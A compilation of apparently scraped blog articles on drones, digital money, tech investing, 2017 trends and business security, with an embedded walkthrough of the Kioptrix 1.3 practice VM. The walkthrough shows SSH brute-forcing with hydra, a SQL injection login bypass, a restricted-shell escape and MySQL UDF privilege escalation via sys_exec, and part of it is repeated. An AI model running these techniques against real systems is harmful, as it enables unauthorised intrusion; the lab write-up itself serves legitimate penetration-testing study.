6 Ways Drones are Set to Change the World

Unless you’ve been living in a nuclear bunker for the past few years, you can’t fail to have noticed the hype surrounding drones. From delivering your packages from Amazon to delivering takeaways to hungry students, they have been hailed as a coming revolution in the way we all live our lives. But what’s the truth about these unmanned aircraft we’ve been hearing so much about?

Well, the truth is that although drones haven’t replaced the UPS man yet, there is a good chance they will do that, and many other things, in the future. Here are just some of the ways that drones are set to change the world:

Package Delivery

In an Interview on ’60 Minutes’ Amazon’s CEO, Jeff Bezos noted that more than 85 percent of all orders from the site weigh in at fewer than 5 pounds. This is notable simply because that makes them light enough to be carried by drones. Since then, Amazon have started testing drones that can deliver products within 30 minutes of an order being made. Other companies, including Google, have also started trials into their own drone services

Although testing has been initiated, there are still a number of issues, which will need to be ironed out, not least the impact on other air traffic and the possibility of theft, before drones are likely to be rolled out across the country. It will happen one day though, and we’ll be able to get our packages in record time when it does!

Warehouse Use

Another company that has started to look to drones for solutions to its most common problems is Walmart, who have started looking into ways that drones can be used within their warehouses. The company hopes that using drones to catalog its inventory and move stock around will cut down on costs. Of course, this could also mean fewer warehouse jobs in the future.

Farming

Another area where software product development is being used to make the most out of drones is in the agriculture industry. Farmers are starting to use drones to monitor the health of their crops and identify areas where additional fertilizer, water or pesticides may be useful.  Some drones have even been modified so that they can spray crops from above. This cuts down significantly on the amount of work they have to do to keep their crops healthy, and can only be seen as a positive by anyone in the industry, so it is only a matter of time before we see drones used in farming as a matter of course.

Delivering Humanitarian Aid

As many as 2.1 billion people on Earth are unable to access the most basic of medicines they need to stay healthy, and this is primarily because they live in areas that are difficult to access. In order to change this situation and ensure that medicine is available to more people who need it Zipline – a drone manufacturer based in California – made a deal with the Rwandan government to deliver medication via drone which can travel within a 50-mile radius. Medication can be requested by Health Centers in the area via text message, making the whole process as simple as possible, and ensuring that more lives are saved as a result.

Law Enforcement

Back in 2015, the Michigan State Police were given the approval to use a quadcopter in order to respond to incidents, access suspicious situations and even conduct search and rescue operations in the area. This significantly cut down on the manpower needed to conduct these kinds of operations, so it is highly-likely that other police forces across the globe will get on board with the drone revolution in the near future.

Insurance Claims

Another area where drones are likely to be used more and more in the future is in the insurance industry. If, for example, a building is damaged in a storm or because there has been a fire, a drone can be sent to take pictures of the damage, which can be used by insurance companies to validate and calculate claims, which should mean that claims can be handled much more quickly than they are now when an adjuster has to be sent out to investigate each and every claim.

As you can see, drones are here to stay, and they are able to do a lot of the boring and complicated tasks that humans currently have to do for themselves. Although this will undoubtedly benefit many people, and it will certainly benefit a lot of businesses, there is likely to be some fallout as some jobs become obsolete, too. So we will just have to sit back and see how the drone revolution pans out.

Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.

Discovery

On my local network, this VM turned up with the IP address of 192.168.0.110.

nmap

Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.

Nikto

Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:
http://192.168.0.110/john/

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
http://192.168.0.110/robert/

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)

enum4linux

Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a 192.168.0.110
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017

<em>(Pasting only the relevant stuff here.)</em>
 ===================================================== 
| Enumerating Workgroup/Domain on 192.168.0.110 |
 ===================================================== 
[+] Got domain/workgroup name: WORKGROUP

============================================= 
| Nbtstat Information for 192.168.0.110 |
 ============================================= 
Looking up status of 192.168.0.110
 KIOPTRIX4 &lt;00&gt; - B &lt;ACTIVE&gt; Workstation Service
 KIOPTRIX4 &lt;03&gt; - B &lt;ACTIVE&gt; Messenger Service
 KIOPTRIX4 &lt;20&gt; - B &lt;ACTIVE&gt; File Server Service
 ..__MSBROWSE__. &lt;01&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Master Browser
 WORKGROUP &lt;1d&gt; - B &lt;ACTIVE&gt; Master Browser
 WORKGROUP &lt;1e&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Browser Service Elections
 WORKGROUP &lt;00&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Domain/Workgroup Name

MAC Address = 00-00-00-00-00-00

============================== 
| Users on 192.168.0.110 |
 ============================== 
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)
index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)
index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)
index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)

user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]

========================================== 
| Share Enumeration on 192.168.0.110 |
 ========================================== 
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]

Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))

Server Comment
 --------- -------
 KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)

Workgroup Master
 --------- -------
 WORKGROUP KIOPTRIX4

[+] Attempting to map shares on 192.168.0.110
//192.168.0.110/print$ Mapping: DENIED, Listing: N/A
//192.168.0.110/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
NT_STATUS_NETWORK_ACCESS_DENIED listing \*

===================================================== 
| Password Policy Information for 192.168.0.110 |
 ===================================================== 
[E] Unexpected error from polenum:
Traceback (most recent call last):
 File "/usr/bin/polenum", line 33, in &lt;module&gt;
 from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samr
ImportError: cannot import name dcerpc_v4
[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 0

S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)

enum4linux complete on Thu Feb 9 00:40:51 2017

acccheck

I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:

robert
root
loneferret
john

hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv

Nothing turned up! Bummer.

database.sql

This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.

john
1234

Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?
Negatory

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: john
Password: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile


Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.

MySQL

Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id &gt; /tmp/out; chown npn.npn /tmp/out');

Just do this instead:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:
bash -p

It should drop you into a root shell!
cd /root

cat congrats.txt
It described the situation perfectly:
"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script that changes users.

Instead of this line:
select sys_exec('id &gt; /tmp/out; chown npn.npn /tmp/out');

Just do this:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

  Ø bash -p

It should drop you into a root shell!

cd /root

cat congrats.txt

Root obtained. Mission complete!

 

The Decline of Cash

There are plenty of Sci-Fi movies that depict a world in which everything is controlled by a single piece of technology. All transactions and communications are made through high-tech devices that once seemed far out of reach. These days, it’s starting to look more familiar. We already have smartphones that do most things for us, and a move towards completely digital currency doesn’t seem that far away.

Only eight percent of the world’s currency is in cash form. This change is happening for a number of reasons but primarily because it is just more efficient. International bank transfers can be completed in under ten minutes, and personal transfers will appear in your bank account almost immediately.

Removing physical money completely could also help to reduce some crimes. Muggings and thefts, for example, would be a lot more difficult if you couldn’t access any of the money without a pin number or fingerprint.

New technologies are paving the way for the digital payment age and cash is fast declining. Some of these technologies may be familiar, and you probably use some of them already, but there are others that you may not be aware of.

Contactless Payments

Contactless payments have taken off in a big way over the last few years. Most bank cards that are issued come with the feature. Although it is more efficient that cash payment, it offers less security because you do not need a pin number.

This is being dealt with in the form of contactless payments on smartphones. Fingerprint scanners are becoming more commonplace and when combined with contactless technology, you get an entirely safe payment method that only you can use. The only problem being that if you lose your phone, you’ve also lost your wallet as well.

Cryptocurrency

You may have heard of one of the most popular cryptocurrencies, Bitcoin. It made headlines when it was linked to the selling of illegal goods on the dark web. But Bitcoin isn’t the only cryptocurrency around, and they are not just used for criminal activity. Click here for more information on exactly how cryptocurrency works.  

Cryptocurrency itself is perfectly legal and is a good alternative for people that don’t want to use their bank details online. Lots of major companies including Amazon and Virgin Atlantic are now accepting cryptocurrency.

The Dangers of Digital Money

Unfortunately, as the world evolves, its criminals evolve with it. In recent years there has been stories of thefts from contactless cards. It is possible to set up card reading equipment and make transactions by walking close enough to somebody who has a contactless card in their pocket.

Cybercrime is also on the rise and governments are struggling to keep up with criminals. Ddos attacks have been used to bring down the systems of some of the biggest governments in the world. They work by flooding a network with huge amounts of traffic, crashing them completely. If all of our money was stored digitally, then an attack like this could disrupt the entire global financial system.

So, embrace the new technology, but be aware of it’s downfalls. And maybe keep a bit of cash under the mattress just in case.

Invest With The Best – Which Tech Niches Will Thrive This Year?

Technology companies tend to make significant profits if they remain at the cutting edge. That is why so many people choose to invest their savings in buying shares. However, tech comes and goes, and so you need the most recent information if you want to do that. The last thing anyone wants is to put their money in a niche that’s on its way out. With that in mind, we’ve taken the time to list some of the most thriving technology niches around today. Hopefully, the info will help you to make the right decisions if you plan to invest this year.

Telecoms

The telecoms industry is always a safe place for investors because everyone owns a smartphone these days. Apple releases new products every year, and most people want the latest devices. Even so, it’s wise to invest in a smaller company if you want to make the highest profits. Look for a firm that’s just arranged to lease a cell tower, and perform as much research as possible. The level of risk you face will increase when opting for a new brand. However, as the old saying goes, the only way is up. While investments in established operations are stable, you wouldn’t make a significant profit. So, look for the newest businesses on the market for the best outcomes.

Virtual reality

Virtual reality has become big business during the last couple of years. However, the market still hasn’t reached its potential. For that reason, now is the best time to invest in companies within that niche. There are lots of VR devices available today, and many of them are selling thousands of units. You could make a substantial profit if you find the right firms and get in touch. Don’t make the mistake of waiting until they appear on the stock market to make your investment. For the best results, you need to put your money in a firm that’s just about to explode. That way, you could see a return that sets you up for life.

Gaming

Specialist gaming brands make millions of dollars in profit every single year. Indeed, just take a look at how much Sony and Microsoft make from their consoles. There are also lots of firms that sell accessories and other items associated with the market. Investors just need to perform research to ensure they’re making the right decision. Ideally, you’ll want to find a new company that’s about to release something that will become exceptionally popular. Gaming news blogs are probably the best places to source the information you require. So, bookmark many of them and check them every day.

Now you know about some of the most thriving tech niches around today, we hope you will make conservative investments. When all’s said and done, there is always an element of risk involved. However, you can increase your chances of seeing a healthy return if you do the groundwork. Just take a look at some of the companies in which other investors seem to be putting their money. In most instances, you just need to replicate their actions.

The Top 5 Technology Trends for 2017

Technology is constantly evolving and innovating. This can make keeping abreast of the most current trends challenging. In a world where we are becoming more reliant than ever on technology, it’s important to be tech savvy. This is the low-down on what’s new in the world of tech, what it does, and why it matters…

Paralysis Reversal

Technology is not all about gaming and data. Technology can be used to improve economics and even health. Paralysis is a devastating by-product of spinal cord injuries. It means that the victim will have limited movement in some parts of their body. Scientists are currently trying to use brain implants to restore movement to these people.

Neuroscientists in France are behind this life-changing innovation. Whilst it could still be years before it’s complete, there have been promising developments. Testing has been carried out on animals. A recording device is installed beneath the skull and a pad of electrodes are put around the spinal cord. The two are joined by a wireless connection. What this achieves, in theory, is a system that translates the animals intent to move into an electrical stimulation in the spine. So brain and body are once again working in harmony.

Voice Searches

This was starting to become a big trend last year, and it’s popularity shows no signs of slowing down. Voice search technology allows the user to speak to their phones and instantly receive answers to questions, schedule dates in diaries, and even turn the heating off at home. This technology is set to be introduced to more areas of our lives than ever before. Forget asking your phone the weather, it could be useful in our homes and workplaces too.

Virtual Reality

Virtual reality technology was big news last year and continues to be this year. VR can come in the form of headsets for gaming, immersing you in a virtual world. The latest in VR tech is virtual reality retail, a new three-dimensional environment for users to explore.

Artificial Intelligence

Artificial intelligence is always big news and 2017 is no different. This year we can expect to seem some impressive leaps forward as investment into this kind of tech rises. Autonomous machines are the big new development, vehicles which drive themselves. Businesses will start using machine intelligence to gain insights into better services for customers.

Cheap Power

Solar panels were the tech of choice for eco-conscious consumers. Years after they were first released, these panels still aren’t up to the job. A new solar device promises to succeed where solar panels failed. Scientists are working on a new kind of solar energy device. It will work by transforming heat into beams of light. In theory, this will be cheaper than solar panels and harness far more of the sun’s energy. Turning sunlight into heat and then back into light, is the general idea. This could increase efficiency and provide cheap and continuous energy.

 

The Technology And Business Security Handbook

You need to protect your business. In this day and age the threats are multiple and can come at any time through a consortium of mediums. With the growth of technology security has evolved, but so too has the means and weapons of those willing to do you harm. You need to be ready to protect your business. Otherwise the operational capacity of your business can be called into question, you’ll lose sales, customers, and stop making a money which in its essence a business needs to do to be called a business, or at least a business that is viable. You, and indeed your employees need to be on the lookout for potential threats. The type of your business dictates the kind of security you need. Whether physical, virtual or indeed both. Security has always been an aspect to business usage. Even those in the ancient times used walls and guards, lock and key to keep their stocks secure. This article can help you see what different security is out there and how you can use it to further secure your business. The list is in no specific order, and gives various security solutions that you can employ in your businesses defence. You may already be using some of them, though some you may not have even thought about. You can really get that peace of mind by knowing your livelihood is secure. These can help you to that end.

Cloud Computing

Cloud computing has surged forward in recent years. First a laughable and underpowered invention, now a behemoth that can bring your business into the modern age and catapult it into the future with efficiency. Many businesses have switched to cloud providers, such as the one at VPSServer.com. They use these instead of the same usual tried and tested server systems. Their benefits are huge, but in relation to security they can help your business stay safe. For a start, they can stop the dreaded ddos, or distributed denial of service attacks that are knocking so many businesses offline these days. It means you can continue operating in the face of these attacks which is key to all businesses. It also secures you against some of the nastier viruses and malware. Cloud computing security does not stop there either. It can secure you against employee mistakes, such as someone going on an unprotected site and causing a virus to invest your server systems. Because the server is remote this is mitigated. Cloud security also protects your business from the elements. Your server tower could get destroyed in a storm and cast onto the ground, but if it is stored online, that issue is mitigated. The same can be said of employee mistakes, flooding and fire. For a great leap in computer security you may want to consider the cloud.

There are certain drawbacks. You have to pay a monthly subscription and although it is far more secure, your business details can be viewed by those working for the provider, so make sure you choose a company offering the highest amounts of discretion. On the whole, the technology that is cloud computing can increase your cyber security and ensure your business stays future forward. It is one of the newer premium ways to circumvent security issues.

Always Use Alarms

No matter what kind of premises you own, you need alarms. The technology of alarms have increased rapidly over the last decade or so. They are important in all senses. If you operate out of an office, your equipment could be at risk (though if you use the cloud your data won’t be lost), if you own a restaurant, you could lose some of your cooking equipment. A shop or store of any kind is always at risk too. Alarms can help you mitigate these threats. The issue with alarms is that even the best won’t completely deter the most determined of thieves, yet they are a great tool for putting off chancers and people similar. Especially if you get one of the newest ones that link up to control rooms and call the police or private security from the alarm firm itself. There are a glut to choose from, and it depends what kind of business you have which dictates the type of alarm. If you store high value items on your business location with cash, then you want the best. If not, then you can consider one of the cheaper options. There are many great alarm reviews out there, but you need to always remember to try and put your business with the alarm. Don’t just read the review and accept it, imagine how it would tie in with your business. For example, if you owned a taxi firm and stored the cars outside an alarm would not be much good. Some alarms are just hooked up to doors, others use motion detector beams to pick up on movement in your premises. Again, work out what is right for you and use it. You should always use an alarm system, even if it is just the cheapest you can find. You may not think anything can happen to you, but it can, and you need to do all you can to deter the thieves that may target you.

CCTV

Again, the technology for cctv has surged forward in recent years, especially with the advent of smartphone technology. It is a god send for those who can’t rest easy without knowing their business is safe and secure. You can get some which are motion activated, saving you on electricity bills. They can also send the motion activated footage directly to your smartphone, meaning you can see in real time what is going on and react thusly. When people can see cctv it acts as a deterrent. Thieves don’t want to be seen doing what they do. But they have their answer to cctv, so it is important to buy some of the newer systems that can still get the better of the thieves, such as concealed cameras. They are useful because the footage can be used to capture the thieves and maybe even get back what was stolen. This type of security can help any kind of business if employed in the right way.

Fog Systems

These are systems that when a break in or thievery is detected, deploy a thick screen of fog. It is an offensive way of securing your business and is often best employed in areas where items are of a high value. The intruders will not be able to see anything and be immediately frightened by what has occurred. The technology is amazing and can really see you save your business. The majority will turn and run, and even those who decide to stay will be hampered by next to no visibility. You need to be careful however, as the fog could damage certain products, so make sure they are compatible before employing them throughout your business. Make sure the release is out of reach for employees too, the last thing you want is you or an employee setting it off by mistake.

Electric Fence

A great deterrent for business owners who want to keep their items secure, but need to store them inside. The technology is dangerous, and needs to be properly maintained. Check up on rules and regulations in your local area before installing it too otherwise you could end up in trouble. The tried and tested perimeter fence can be climbed with ease these days, even when it is lined with barbed wire. As such, this injection of technology allows you to keep the thieves at arm’s length with ease. Trying to get into your business will result in a nasty, though non-lethal shock that will make them think twice about coming into your business with nefarious intentions in the future. The only issue arises when you look at your business location. If it is close to a school then you shouldn’t be using an electric fence, or maybe having it switched on only during the night to avoid accidents.

Fingerprint ID

The technology seemed to fade away for a while, but is now back and more reliable than ever before. If you use this on your locks and entry systems then there is less chance any would be thieves of vandals can get in. There will be no lock to pick or break, so they will be forced to bring the door down, something that is far harder to do. Fingerprint identification is a great way for stopping thieves but also a way to restrict certain areas of your business. You can have only your print let you into your office for example. It is a brilliant way of stopping people accessing areas you don’t want them too. Keys can be misplaced, stolen or new ones cut. Fingerprint ID circumvents these issues and gives you the security and peace of mind needed. You can find some of the best door locks here. Evaluate them and choose which you think is the best for your business. Some come with dual locking control, meaning you need the key and a fingerprint for double protection.